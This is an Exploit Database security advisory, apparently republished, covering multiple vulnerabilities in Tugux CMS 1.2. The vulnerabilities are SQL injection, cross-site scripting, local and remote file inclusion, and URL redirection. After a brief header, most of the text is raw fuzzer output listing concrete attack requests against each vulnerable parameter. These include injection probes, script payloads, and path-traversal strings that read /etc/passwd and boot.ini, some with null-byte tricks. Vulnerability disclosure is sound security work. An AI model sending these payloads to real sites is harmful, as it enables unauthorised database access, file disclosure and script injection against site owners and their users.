Tugux CMS 1.2 – Multiple Vulnerabilities

• Exploit Database
• 9 阅读

• 作者： LiquidWorm
  日期： 2011-05-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17312/

• Title:
  
   Tugux CMS 1.2 Multiple Remote Vulnerabilities
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  
  Vendor:
  
   Tugux Studios
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  
  Product web page:
  
   http://www.tugux.com
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  
  Affected version:
  
   1.2
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  
  Summary:
  
   Tugux CMS is a free, open-source content Management system (CMS) and
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  application that powers the entire web.
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  
  Description:
  
   The application suffers from multiple issues including: reflected
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  and stored xss, sql Injection, local file inclusion, url redirection.
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  Vulnerable parameters include: 'name', 'comment', 'nid', 'submit1',
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  'email', 'topic_id'.
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  
  Tested on:
  
   Microsoft Windows XP Professional SP3 (EN)
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
   Apache 2.2.14 (Win32)
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
   PHP 5.3.1
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
   MySQL 5.1.41
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  
  Vulnerability discovered by:
  
   Gjoko 'LiquidWorm' Krstic, Zero Science Lab
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
   liquidworm * gmail * com
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  
  Advisory details:
  
   ID: ZSL-2011-5014
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
   URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5014.php
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  
  Discovery date:
  
   02.04.2011
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  
  Raw analysis report:
  
   http://www.zeroscience.mk/codes/tugux_raw_02042011.txt
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
   by PowerFuzzer
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  (c) Joxy
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  
  Findings summary
  
  MySQL Injection (nid) in http://localhost/tugux/comments.php
  Vulnerable URL: http://localhost/tugux/comments.php?nid=%BF%27%22%28
  XSS (nid) in http://localhost/tugux/comments.php
  Vulnerable URL: http://localhost/tugux/comments.php?nid=<script>var+pf_687474703a2f2f6c6f63616c686f73742f74756775782f636f6d6d656e74732e706870_6e6964=new+Boolean();</script>
  Warning include (nid) in http://localhost/tugux/latest.php
  Vulnerable URL: http://localhost/tugux/latest.php?nid=http%3A%2F%2Fwww.google.com%2F
  MySQL Injection (nid) in http://localhost/tugux/latest.php
  Vulnerable URL: http://localhost/tugux/latest.php?nid=%BF%27%22%28
  XSS (nid) in http://localhost/tugux/latest.php
  Vulnerable URL: http://localhost/tugux/latest.php?nid=<script>var+pf_687474703a2f2f6c6f63616c686f73742f74756775782f6c61746573742e706870_6e6964=new+Boolean();</script>
  MySQL Injection in http://localhost/tugux/contact.php
   with params =message=on&name=on&yes=yes&company=on&email=%BF%27%22%28&subject=on
   coming fromhttp://localhost/tugux/contact.php
  MySQL Injection in http://localhost/tugux/contact.php
   with params =message=on&name=on&yes=%BF%27%22%28&company=on&email=on&subject=on
   coming fromhttp://localhost/tugux/contact.php
  MySQL Injection in http://localhost/tugux/contact.php
   with params =message=on&name=%BF%27%22%28&yes=yes&company=on&email=on&subject=on
   coming fromhttp://localhost/tugux/contact.php
  MySQL Injection in http://localhost/tugux/contact.php
   with params =message=on&name=on&yes=yes&company=%BF%27%22%28&email=on&subject=on
   coming fromhttp://localhost/tugux/contact.php
  MySQL Injection in http://localhost/tugux/contact.php
   with params =message=%BF%27%22%28&name=on&yes=yes&company=on&email=on&subject=on
   coming fromhttp://localhost/tugux/contact.php
  MySQL Injection in http://localhost/tugux/contact.php
   with params =message=on&name=on&yes=yes&company=on&email=on&subject=%BF%27%22%28
   coming fromhttp://localhost/tugux/contact.php
  XSS in http://localhost/tugux/contact.php
  with params =message=on&name=on&yes=yes&company=on&email=%3Cscript%3Evar+pf_687474703a2f2f6c6f63616c686f73742f74756775782f636f6e746163742e706870_656d61696c%3Dnew+Boolean%28%29%3B%3C%2Fscript%3E&subject=on
  coming fromhttp://localhost/tugux/contact.php
  XSS in http://localhost/tugux/contact.php
  with params =message=on&name=%3Cscript%3Evar+pf_687474703a2f2f6c6f63616c686f73742f74756775782f636f6e746163742e706870_6e616d65%3Dnew+Boolean%28%29%3B%3C%2Fscript%3E&yes=yes&company=on&email=on&subject=on
  coming fromhttp://localhost/tugux/contact.php
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=http%3A%2F%2Fwww.google.com%2F&email=on&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=http%3A%2F%2Fwww.google.com%2F
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=http%3A%2F%2Fwww.google.com%2F&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=http%3A%2F%2Fwww.google.com%2F&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=http%3A%2F%2Fwww.google.com%2F&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=%2Fetc%2Fpasswd&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd%00
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd%00&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=c%3A%5C%5Cboot.ini&email=on&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=c%3A%5C%5Cboot.ini&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=c%3A%5C%5Cboot.ini%00&email=on&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini%00
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini%00&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini%00&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=c%3A%5C%5Cboot.ini%00&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&email=on&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&email=on&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=10
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&name=on&submit1=Submit&topic_id=10
  coming fromhttp://localhost/tugux/comments.php?nid=10
  MySQL Injection in http://localhost/tugux/latest.php?nid=10
   with params =comment=%BF%27%22%28&email=on&name=on&submit1=Submit&topic_id=10
   coming fromhttp://localhost/tugux/comments.php?nid=10
  MySQL Injection in http://localhost/tugux/latest.php?nid=10
   with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%BF%27%22%28
   coming fromhttp://localhost/tugux/comments.php?nid=10
  MySQL Injection in http://localhost/tugux/latest.php?nid=10
   with params =comment=on&email=on&name=%BF%27%22%28&submit1=Submit&topic_id=10
   coming fromhttp://localhost/tugux/comments.php?nid=10
  MySQL Injection in http://localhost/tugux/latest.php?nid=10
   with params =comment=on&email=on&name=on&submit1=%BF%27%22%28&topic_id=10
   coming fromhttp://localhost/tugux/comments.php?nid=10
  MySQL Injection in http://localhost/tugux/latest.php?nid=10
   with params =comment=on&email=%BF%27%22%28&name=on&submit1=Submit&topic_id=10
   coming fromhttp://localhost/tugux/comments.php?nid=10
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=http%3A%2F%2Fwww.google.com%2F&email=on&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=http%3A%2F%2Fwww.google.com%2F
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=http%3A%2F%2Fwww.google.com%2F&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=http%3A%2F%2Fwww.google.com%2F&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=http%3A%2F%2Fwww.google.com%2F&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=%2Fetc%2Fpasswd&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd%00
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd%00&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=c%3A%5C%5Cboot.ini&email=on&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=c%3A%5C%5Cboot.ini&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=c%3A%5C%5Cboot.ini%00&email=on&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini%00
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini%00&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini%00&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=c%3A%5C%5Cboot.ini%00&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&email=on&name=on&submit1=Submit&topic_id=9
